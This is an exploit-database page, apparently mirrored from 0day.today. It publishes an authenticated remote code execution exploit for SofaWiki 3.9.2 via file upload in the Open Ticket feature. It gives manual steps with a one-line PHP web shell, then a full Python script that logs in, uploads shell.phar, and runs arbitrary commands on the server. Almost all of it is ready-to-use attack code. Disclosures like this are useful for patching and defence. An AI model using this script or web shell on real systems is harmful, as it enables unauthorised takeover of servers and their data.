Lucene search
K

SofaWiki 3.9.2 Shell Upload Exploit

🗓️ 22 Oct 2024 00:00:00Reported by Chokri HammediType 
zdt
 zdt
🔗 0day.today👁 276 Views

SofaWiki 3.9.2 Remote Code Execution (RCE) via Open Ticket File Upload. Vulnerability allows uploading malicious .phar file to execute arbitrary commands on the server

Code
# Exploit Title: SofaWiki 3.9.2 - Remote Code Execution (RCE) via Open Ticket File Upload
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.sofawiki.com
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip
# Version: 3.9.2
# Tested on: Windows XP

Summary:
A remote code execution (RCE) vulnerability exists in the Open Ticket
feature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` file
that contains PHP code, bypassing `.htaccess` restrictions, and execute
arbitrary commands on the server.

Exploit Steps:

1. Login to SofaWiki.
2. Navigate to Special → Tickets → New Ticket:
http://localhost/sofawiki/index.php?name=special:tickets&ticketaction=new
3. Select your shell.phar file with this content:

   <?php system($_GET['cmd']); ?>

4. Fill in the ticket title and click Open Ticket.
5. After the ticket is created, the page shows a link to the uploaded
shell.phar
6. access the webshell:
http://localhost/sofawiki/site/files/ticket-1-shell.phar?cmd=whoami


--------------

# Exploit Title: SofaWiki 3.9.2 - RCE (authenticated) via Open Ticket File Upload  Exploit
# Date: 10/17/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.sofawiki.com
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip
# Version: 3.9.2
# Tested on: Windows XP


import requests
import re
import sys

class SofaWikiExploit:
    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.session = requests.Session()

    def detect_login_name(self):
        response =
self.session.get(f"{self.base_url}/index.php?action=login")
        match = re.search(r'name="name" value="([^"]+)"', response.text)
        if not match:
            print("\033[91m\033[1m[-] couldn't find the 'name' field.
Exiting.\033[0m")
            sys.exit(1)
        return match.group(1)

    def login(self):
        print("\033[93m[*] logging in...\033[0m")
        login_name = self.detect_login_name()
        data = {
            "submitlogin": "Login",
            "username": self.username,
            "pass": self.password,
            "name": login_name,
            "action": "login"
        }
        response = self.session.post(f"{self.base_url}/index.php",
data=data)
        if "Logout" in response.text:
            print("\033[92m\033[1m[+] Login successful!\033[0m")
            return True
        print("\033[91m[-] login failed.\033[0m")
        return False

    def upload_shell(self):
        print("\033[93m[*] uploading shell...\033[0m")
        shell_content = '<?php system($_GET["cmd"]); ?>'
        files = {
            'uploadedfile': ('shell.phar', shell_content,
'application/octet-stream'),
            'title': (None, 'Chokri Hammedi Exploit'),
            'text': (None, 'Chokri Hammedi RCE'),
            'assigned': (None, 'admin'),
            'priority': (None, '1 high'),
            'submitopen': (None, 'Open Ticket'),
            'MAX_FILE_SIZE': (None, '8000000')
        }
        response =
self.session.post(f"{self.base_url}/index.php?name=special:tickets",
files=files)
        match = re.search(r'File (.*?) uploaded', response.text)
        if not match:
            print("\033[91m[-] shell upload failed.\033[0m")
            sys.exit(1)
        shell_url = f"{self.base_url}/site/files/{match.group(1)}"
        print(f"\033[92m[+] shell uploaded: {shell_url}\033[0m")
        return shell_url

    def execute_command(self, shell_url, cmd):
        print(f"\033[93m[*] running command: {cmd}\033[0m")
        response = self.session.get(f"{shell_url}?cmd={cmd}")
        print("\033[92m[+] command output:\033[0m")
        print(f"\033[1m{response.text}\033[0m")

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print(f"\033[91musage: {sys.argv[0]} <target_url> <username>
<password> <cmd>\033[0m")
        sys.exit(1)

    target_url, username, password, cmd = sys.argv[1:5]
    exploit = SofaWikiExploit(target_url, username, password)

    if exploit.login():
        shell_url = exploit.upload_shell()
        exploit.execute_command(shell_url, cmd)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation